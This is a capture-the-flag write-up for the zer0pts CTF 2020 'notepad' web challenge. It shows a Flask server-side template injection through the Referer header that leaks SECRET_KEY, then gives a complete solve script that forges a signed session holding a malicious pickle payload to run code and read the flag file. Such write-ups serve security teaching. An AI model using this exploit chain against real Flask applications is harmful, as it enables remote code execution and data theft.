# [zer0pts CTF 2020] notepad ###### tags: `zer0pts CTF`, `zer0pts CTF 2020`, `web` ## Solution As you can see from `app.py`, there is a Server-Side Template Injection (SSTI) vulnerability via `Referer` header in 404 page. ```python=78 @app.errorhandler(404) def page_not_found(error): """ Automatically go back when page is not found """ referrer = flask.request.headers.get("Referer") if referrer is None: referrer = '/' if not valid_url(referrer): referrer = '/' html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer) return flask.render_template_string(html), 404 ``` In Flask, SSTI can easily be led to arbitrary code execution like [this article](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti). However, `Referer` header is checked with `valid_url` function that checks if the URL starts with its host and the length of the path is shorter than 16 chars. ```python=90 def valid_url(url): """ Check if given url is valid """ host = flask.request.host_url if not url.startswith(host): return False # Not from my server if len(url) - len(host) > 16: return False # Referer may be also 404 return True ``` So, with this SSTI vulnerability, you can do limited things like exfiltrating `SECRET_KEY`, which is used to sign and verify client session data, with `{{config}}`. ``` $ curl http://3.112.201.75:8001/404 -H "Referer: http://3.112.201.75:8001/{{config}}" <html><head><meta http-equiv="Refresh" content="3;URL=http://3.112.201.75:8001/&lt;Config {… &#39;SECRET_KEY&#39;: b&#39;\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I&#39;, … ``` Anyway, it's useful to tamper sessions. In this app, session is used for storing notes, which is serialized with [`pickle`](https://docs.python.org/3/library/pickle.html). ```python=26 @app.route('/new', methods=['GET']) def new(): """ Create a new note """ data = load() data.append({"date": now(), "text": "", "title": "*New Note*"}) flask.session['savedata'] = base64.b64encode(pickle.dumps(data)) return flask.redirect('/note/' + str(len(data) - 1)) ``` ```python=99 def load(): """ Load saved notes """ try: savedata = flask.session.get('savedata', None) data = pickle.loads(base64.b64decode(savedata)) except: data = [{"date": now(), "text": "", "title": "*New Note*"}] return data ``` As noted in [the official document](https://docs.python.org/3/library/pickle.html), `pickle` module is not secure to load untrusted data and can be led to arbitrary code execution. While referring to [past challenge](https://ctftime.org/task/1952), let's write an exploit that retrieves `SECRET_KEY`, sign payload with obtained `SECRET_KEY`, and send request with tampered session. ```python import base64 import html import re import requests import flask.sessions HOST = 'http://3.112.201.75:8001/' class App(object): def __init__(self, secret_key): self.secret_key = secret_key def sign(secret_key, data): app = App(secret_key) si = flask.sessions.SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(data) r = requests.get(HOST + '404', headers={ 'Referer': HOST + '{{config}}' }) r = html.unescape(r.content.decode()) secret_key = eval(re.findall(r"'SECRET_KEY': (b'.+?')", r)[0]) print('secret_key:', secret_key) code = b"c__builtin__\neval\n(S'open(\\'/home/web/flag\\').read()'\ntR" sig = sign(secret_key, {'savedata': base64.b64encode(b"(lp0\n(dp1\nS'date'\np2\nI0\nsS'text'\np3\nS''\np4\nsS'title'\np5\n" + code + b"p6\nsa.")}) r = requests.get(HOST, cookies={ 'session': sig }) print(re.findall(rb'(zer0pts\{.+\})', r.content)[0]) ``` ``` $ python solve.py secret_key: b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I' b'zer0pts{fl4sk_s3ss10n_4nd_pyth0n_RCE}' ```